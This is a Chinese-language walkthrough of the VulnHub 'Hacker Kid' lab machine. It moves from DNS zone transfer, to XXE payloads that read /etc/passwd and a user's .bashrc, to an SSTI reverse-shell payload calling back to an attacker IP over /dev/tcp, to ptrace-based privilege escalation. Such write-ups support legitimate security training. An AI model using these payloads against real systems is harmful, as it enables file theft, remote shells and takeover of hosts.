0x07-VulnHub靶机-Hackerkid

环境

靶机地址:https://download.vulnhub.com/hackerkid/Hacker_Kid-v1.0.1.ova

难度等级:OSCP风格的中级难度靶机 无法入手。(关注信息收集,不需要暴力破解,每一步都有适当的提示

内容

  • DIG反查子域名 DNS区域传输
  • XEE 读服务器文件
  • SSTI模板注入
  • Capability提权

操作

信息收集

域名服务 dns DNS通常运行在UDP协议上,并使用端口号53来进行通信 但是这里 tcp也存在

这里发现了个dns的漏洞可以rce 但是找不到exp

image-20240303194244858

dig命令需要知道域名

​ linux的 dig 命令是一个常用的网络工具,通常用于 DNS 查询。通过 dig 命令,您可以获取特定域名的 DNS 记录信息,例如 IP 地址、MX 记录、NS 记录等。

image-20240303195940031

对网页源码的分别查看:1,找注释。2,找引用。3,找接口。

常规的都没发现什么 最后在页面源码发现这个 page_one 参数

image-20240303193915423

我们带page_one去访问 用burp爆破到 21 页面就发生了变化

这里提到了 subdomains 子域 还给了你个 hackers.blackhat.local

image-20240303194720332

修改hosts 然后去访问hackers.blackhat.local 发现界面是一样的 访问 403Forbidden

猜测是否这个域名是否有其他的主机名?再结合我们开头的 dig提示。我们就使用dig命令来进行探测

dig axfr @192.168.3.98 blackhat.local (正常是对一般用户 不支持 axfr的 )

image-20240303222251474

全加到hosts里面 再去访问 发现就hackerkid.blackhat.local不同

image-20240303222531393

然后想着去注册一个 看可不可以登入到 9999端口的登录界面

image-20240303202851975

但是注册 Email一直不可以 且显示出来我输入的内容

image-20240303203304423

XXE

抓包看一看 发现是xml的格式 后面发现这 存在XXE漏洞 而且是有回显的 (可以去读取目标的文件

image-20240303203343115

大致意思是读取文件 /etc/passwd文件 ,将其赋给 maomaos变量。然后将这个值放入 <email>标签中从而让服务器误认为这个文件是我们上传的邮箱。从而在回显我们错误邮箱的时候外带出我们窃取的文件。

exp 读/etc/passwd

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE qwe [<!ENTITY maomao SYSTEM "file:///etc/passwd">]>
<root><name>qqqq</name>
<tel>qqqq</tel>
<email>&maomao;</email>
<password>qqqq</password>
</root>
image-20240303205605825

靶机有个saket 账号

我们是可以依次的访问 linux系统一些默认的文件,隐藏文件等等。直到我们访问 /home/saket/.bashrc (.bashrc 是用户级别的 Bash Shell 配置文件,用于自定义用户的 Shell 环境和行为 它用来存储并加载你的终端配置和环境变量)

但是没有数据回显,表明我们没有权限或者说不能直接读取他, 这里我们用到 PHP的封装器 去读数据

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE qwe [<!ENTITY maomao SYSTEM "php://filter/convert.base64-encode/resource=/home/saket/.bashrc">]>
<root><name>qqqq</name>
<tel>qqqq</tel>
<email>&maomao;</email>
<password>qqqq</password>
</root>

image-20240303211345994

然后拿去解码 发现账号密码 而且说 Setting Password for running python app 想到了9999那个登录界面

#Setting Password for running python app
username="admin"
password="Saket!#$%@!!"

ssti模板注入

但是试了不对 换成saket用户 就可以进入了 脑筋急转弯 发现可以用name参数去传参

image-20240303212718381
image-20240303212838107

你输入什么都是hello 。。。 很像模板

进行 ssti漏洞的确认,在name后面注入paylaod验证

{{1+abcxyz}}${1+abcxyz}<%1+abcxyz%>[abcxyz] 报错的话就存在

或者 ${7*7},{{7*7}}我们几乎可以确认这就是个 ssti漏洞

image-20240303213023421

反弹shell 命令要编码一下

{% import os %}{{os.system('bash -c "bash -i >& /dev/tcp/192.168.3.87/4444 0>&1"')}}

将其 url编码  然后去输入就得到了 shell   

%7B%25%20import%20os%20%25%7D%7B%7Bos.system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.3.87%2F4444%200%3E%261%22%27%29%7D%7D
image-20240303214249995

提权

https://www.jianshu.com/p/60673ac0454f

Capability权限设置不当

/sbin/getcap -r / 2>/dev/null

getcap -r / 2>/dev/null

CAP_SYS_PTRACE 允许跟踪任何进程 用进程注入

python2.7拥有cap_sys_ptrace权限,意味着他可以调试别的进程,对进程进行内存修改及查看等活动,利用提权脚本

image-20240304104623390

kali起一个端口 把文件下载到 tmp目录 给个执行权限

ps aux 列出 进程 注入到 root权限的pid

python2.7 baji.py 764

也可以 对所有的进行注入

for i in `ps -ef|grep root|grep -v "grep"|awk '{print $2}'`; do python2.7 baji.py $i; done

这个脚本会默认的开启本地的5600端口。可以在kali上直接nc连接。采用 id命令就可以直接发现为root用户了。

image-20240304181524275